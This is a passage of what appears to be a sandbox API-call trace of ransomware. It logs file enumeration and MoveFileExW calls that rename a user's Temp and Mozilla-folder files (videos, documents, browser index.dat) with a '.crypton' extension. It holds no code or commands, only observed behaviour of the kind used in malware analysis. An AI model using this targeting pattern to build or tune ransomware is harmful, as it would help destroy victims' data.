HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7cce580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7cce580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0205.431] GetFileType (hFile=0x214) returned 0x1 [0205.436] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb74b7b30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7cf46e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7cf46e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0205.437] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml.crypton"), dwFlags=0x2) returned 1 [0205.442] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7cf46e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7cf46e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0205.480] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\05CLd5g9s4M4Tt8-x.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\05cld5g9s4m4tt8-x.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\05CLd5g9s4M4Tt8-x.mkv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\05cld5g9s4m4tt8-x.mkv.crypton"), dwFlags=0x2) returned 1 [0205.497] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\2LbWoYsSZnwV9N8cwcx.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\2lbwoyssznwv9n8cwcx.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\2LbWoYsSZnwV9N8cwcx.mkv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\2lbwoyssznwv9n8cwcx.mkv.crypton"), dwFlags=0x2) returned 1 [0205.511] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4LdTSWs.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\4ldtsws.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4LdTSWs.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\4ldtsws.mp4.crypton"), dwFlags=0x2) returned 1 [0205.534] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5cHhH.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5chhh.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5cHhH.docx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5chhh.docx.crypton"), dwFlags=0x2) returned 1 [0205.798] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5G7-5-uwXM.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5g7-5-uwxm.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5G7-5-uwXM.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5g7-5-uwxm.gif.crypton"), dwFlags=0x2) returned 1 [0205.816] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6Q2G-4WINLT8N.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\6q2g-4winlt8n.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6Q2G-4WINLT8N.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\6q2g-4winlt8n.avi.crypton"), dwFlags=0x2) returned 1 [0206.056] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8mBxExOoIOS.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\8mbxexooios.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8mBxExOoIOS.m4a.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\8mbxexooios.m4a.crypton"), dwFlags=0x2) returned 1 [0206.060] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\adobearm.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\adobearm.log.crypton"), dwFlags=0x2) returned 1 [0206.092] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AJgY1a.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ajgy1a.odp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AJgY1a.odp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ajgy1a.odp.crypton"), dwFlags=0x2) returned 1 [0206.095] GetFileType (hFile=0x190) returned 0x1 [0206.100] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf83340a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf83340a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0206.111] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\index.dat.crypton"), dwFlags=0x2) returned 1 [0206.125] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eqeO.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\eqeo.ots"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\eqeO.ots.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\eqeo.ots.crypton"), dwFlags=0x2) returned 1 [0206.143] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fKywEO4YF-8I_Fr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fkyweo4yf-8i_fr.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fKywEO4YF-8I_Fr.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fkyweo4yf-8i_fr.wav.crypton"), dwFlags=0x2) returned 1 [0206.147] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fxsapidebuglogfile.txt.crypton"), dwFlags=0x2) returned 0 [0206.147] GetLastError () returned 0x20 [0206.147] GetLastError () returned 0x20 [0206.151] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\GKlLvROG4m5N5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\gkllvrog4m5n5.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\GKlLvROG4m5N5.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\gkllvrog4m5n5.gif.crypton"), dwFlags=0x2) returned 1 [0206.159] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HFUEzm.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hfuezm.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HFUEzm.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hfuezm.bmp.crypton"), dwFlags=0x2) returned 1 [0206.161] GetFileType (hFile=0x190) returned 0x1 [0206.166] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf83f2780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf83f2780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0206.167] GetFileType (hFile=0x1a4) returned 0x1 [0206.171] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf83f2780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf83f2780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0206.187] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\index.dat.crypton"), dwFlags=0x2) returned 1 [0206.218] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kiJ_CnzWqV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\kij_cnzwqv.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kiJ_CnzWqV.m4a.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\kij_cnzwqv.m4a.crypton"), dwFlags=0x2) returned 1 [0206.257] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Kn6PP2KM4WxnQb5j_T.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\kn6pp2km4wxnqb5j_t.ods"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Kn6PP2KM4WxnQb5j_T.ods.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\kn6pp2km4wxnqb5j_t.ods.crypton"), dwFlags=0x2) returned 1 [0206.272] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LNsfBOt6iuRE1231f.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\lnsfbot6iure1231f.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LNsfBOt6iuRE1231f.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\lnsfbot6iure1231f.jpg.crypton"), dwFlags=0x2) returned 1 [0206.330] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\lQxI-gObesTWQaX.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\lqxi-gobestwqax.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\lQxI-gObesTWQaX.flv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\lqxi-gobestwqax.flv.crypton"), dwFlags=0x2) returned 1 [0206.343] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\meF AY2YwaND.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mef ay2ywand.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\meF AY2YwaND.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mef ay2ywand.mp4.crypton"), dwFlags=0x2) returned 1 [0206.364] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mseQKbgQLW T.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mseqkbgqlw t.odt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mseQKbgQLW T.odt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mseqkbgqlw t.odt.crypton"), dwFlags=0x2) returned 1 [0206.389] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\OrFs9uSrgMJzYJbNfG.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\orfs9usrgmjzyjbnfg.pps"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\OrFs9uSrgMJzYJbNfG.pps.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\orfs9usrgmjzyjbnfg.pps.crypton"), dwFlags=0x2) returned 1 [0206.395] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\pD0KnfyfmuaNKB8w.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\pd0knfyfmuankb8w.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\pD0KnfyfmuaNKB8w.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\pd0knfyfmuankb8w.mp4.crypton"), dwFlags=0x2) returned 1 [0206.424] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\QWMZAI4T790JM_j-mi.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\qwmzai4t790jm_j-mi.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\QWMZAI4T790JM_j-mi.gif.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\qwmzai4t790jm_j-mi.gif.crypton"), dwFlags=0x2) returned 1 [0206.461] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RBQbsNE5Hoi_M4D.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\rbqbsne5hoi_m4d.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\RBQbsNE5Hoi_M4D.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\rbqbsne5hoi_m4d.mp4.crypton"), dwFlags=0x2) returned 1 [0206.509] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rwQDVwD17Yk7VcU.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\rwqdvwd17yk7vcu.doc"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\rwQDVwD17Yk7VcU.doc.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\rwqdvwd17yk7vcu.doc.crypton"), dwFlags=0x2) returned 1 [0206.518] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\s6C0CSo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\s6c0cso.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\s6C0CSo.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\s6c0cso.mp4.crypton"), dwFlags=0x2) returned 1 [0206.542] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\sSbS.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ssbs.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\sSbS.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ssbs.avi.crypton"), dwFlags=0x2) returned 1 [0206.591] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\T4MnilJn3kHr_6uDN.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\t4mniljn3khr_6udn.ods"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\T4MnilJn3kHr_6uDN.ods.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\t4mniljn3khr_6udn.ods.crypton"), dwFlags=0x2) returned 1 [0206.634] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\td9PJVcm.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\td9pjvcm.doc"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\td9PJVcm.doc.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\td9pjvcm.doc.crypton"), dwFlags=0x2) returned 1 [0206.637] GetFileType (hFile=0x190) returned 0x1 [0206.642] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf88690c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf88690c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0206.647] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf88690c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf88690c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0206.648] GetFileType (hFile=0x20c) returned 0x1 [0206.654] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf888f220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf888f220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0206.673] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\index.dat.crypton"), dwFlags=0x2) returned 1 [0206.675] GetFileType (hFile=0x20c) returned 0x1 [0206.680] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf88b5380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf88b5380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0206.680] GetFileType (hFile=0x20c) returned 0x1 [0206.684] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf88db4e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf88db4e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0206.685] GetFileType (hFile=0x20c) returned 0x1 [0206.689] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf88db4e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf88db4e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0206.693] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TJcs2dVJ2.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tjcs2dvj2.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\TJcs2dVJ2.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tjcs2dvj2.mp4.crypton"), dwFlags=0x2) returned 1 [0206.696] GetFileType (hFile=0x190) returned 0x1 [0206.700] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x874c95a0, ftCreationTime.dwHighDateTime=0x1d4d5ae, ftLastAccessTime.dwLowDateTime=0xf8901640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf8901640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, 